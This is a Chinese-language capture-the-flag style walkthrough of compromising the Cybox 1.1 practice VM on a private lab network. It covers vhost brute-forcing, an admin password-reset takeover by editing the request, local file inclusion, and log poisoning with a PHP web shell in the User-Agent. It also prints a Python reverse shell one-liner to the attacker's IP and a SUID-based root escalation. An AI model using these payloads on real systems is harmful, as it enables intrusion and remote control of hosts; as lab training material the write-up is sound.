cybox1-1靶机练习

cybox:1.1靶机练习

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.141

kali linux ip:192.168.1.137

信息收集:

主机发现:
nmap -sP 192.168.1.0/24

下图中192.168.1.1为VMnet8网卡地址,1.3位网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.141

cybox1-1靶机练习

端口服务扫描:
cybox1-1靶机练习

靶机开启了80和443端口,访问一下看看

直接访问ip后是一个web页面

cybox1-1靶机练习

拖到页面最下方可以看到一个域名

cybox1-1靶机练习

爆破目录:

爆破一下目录

dirb "http://192.168.1.141" /usr/share/dirb/wordlists/big.txt
cybox1-1靶机练习

同时也使用dirbuster爆破一下详细页面,以取得更多的信息

cybox1-1靶机练习

依次访问dirb爆出的目录,发现assets目录下存放了些css、js文件

cybox1-1靶机练习

/cgi/bin目录无访问权限,/phpadmin目录只允许本地访问

dirbuster爆破结果也出来了,与dirb扫出的结果相差不大,此时并没有发现到什么有价值的页面。

cybox1-1靶机练习

此时我们甚至都没有找到真正提供服务的web页面,我们扫描端口时可以看到目标机器开放了ftp服务,还开放了pop3、imap,还提供邮件服务,很明显目标机器有一个较复杂的网站提供服务,但我们的扫描结果并不相符,说明爆破姿势不对

之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

vim /etc/hosts

cybox1-1靶机练习

这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接apt-get install gobuster进行安装

扫描后,可以看到,有了我们之前并未爆破出的页面

gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

cybox1-1靶机练习

依次访问各页面

dev.cybox.company是一个PHPinfo

cybox1-1靶机练习

ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码

cybox1-1靶机练习

webmail.cybox.company是一个邮箱登录页面

cybox1-1靶机练习

register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户

cybox1-1靶机练习

monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回

cybox1-1靶机练习

漏洞挖掘:

在上面这个页面,注册一个用户登录试一下

cybox1-1靶机练习

登录后发现并没有什么实际功能,只有一个创建条目记录时间的,不知道有什么作用

cybox1-1靶机练习

这里退出登录,试一下未注册用户,发现不存在的用户登录会直接提示用户不存在,这里可以试一下有无admin用户

cybox1-1靶机练习

尝试猜解管理员的用户名,因为登录页面提供密码修改,可以试试能不能越权修改密码,此处发现存在一个admin@cybox.company,显示密码错误,并没有显示用户不存在,先记下,一会看看能不能改

cybox1-1靶机练习

点击忘记密码,会跳转到一个发送链接的页面,这里是将修改链接发送到邮箱了,应该就是我们刚刚看到的那个邮箱的登录界面

cybox1-1靶机练习

到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aaa

cybox1-1靶机练习

之后再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接

cybox1-1靶机练习

点进去,跳转到一个修改密码页面,我们用burp抓下包,把邮箱改成admin的,看看能不能通过改包来越权修改admin用户的密码

cybox1-1靶机练习

cybox1-1靶机练习

点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证

cybox1-1靶机练习

cybox1-1靶机练习

点进Admin panel,看一下管理页面,结果,开发中

cybox1-1靶机练习

到这里又断了,进入到网站的后台结果开发中。。。

但是方法总比困难多,右键查看页面代码,可以看到,这里包含进来一个php页面

cybox1-1靶机练习

我们可以尝试文件包含,包含一个/etc/passwd文件测试一下,包含成功,此处存在文件包含漏洞

cybox1-1靶机练习

然后咱们可以通过日志文件反弹一个shell,apache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志

cybox1-1靶机练习

我们转到ftp页面

cybox1-1靶机练习

打开burp抓包,刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码

<?php system($_GET['s']);?>

cybox1-1靶机练习

发包,然后测试一下,测试成功,没有问题

cybox1-1靶机练习

制作反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

cybox1-1靶机练习

kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)

cybox1-1靶机练习

监听好端口后,web页面敲击回车,成功反弹shell,拿到了一个低权限的shell

cybox1-1靶机练习

权限提升:

首先查找有s权限的文件,只看非系统文件,此处需要审计代码,可以看到,在/opt目录下有一个registerlauncher

find / -perm -u=s -type f 2>/dev/null
cybox1-1靶机练习

在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串

strings registerlauncher
cybox1-1靶机练习

在查看register文件内容,发现这是一个可以创建用户的文件

cybox1-1靶机练习

实际就是实现了那个register页面的功能,测试之前创建的aaa用户,此处可以登录

首先取得一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

然后尝试登录aaa,成功

cybox1-1靶机练习

试一下能不能切换root,失败,提示我们aaa不再sudoers文件中

cybox1-1靶机练习

另外此处我们无权限查看sudoers文件,但应该是有用户持有切换权限的,这里就需要试了,所幸并不难猜,用户名起为sudo即可

cybox1-1靶机练习

创建完之后切换用户sudo,即可切换root用户,至此提权完毕

cybox1-1靶机练习

在root的家目录下可以看到一个root.txt,查看一下,应该是个flag

cybox1-1靶机练习

参考文章:

https://blog.csdn.net/yutianovo/article/details/111687112

上一篇:74cms v5.0.1 前台sql注⼊复现


下一篇:mysql根据逗号将一行数据拆分成多行数据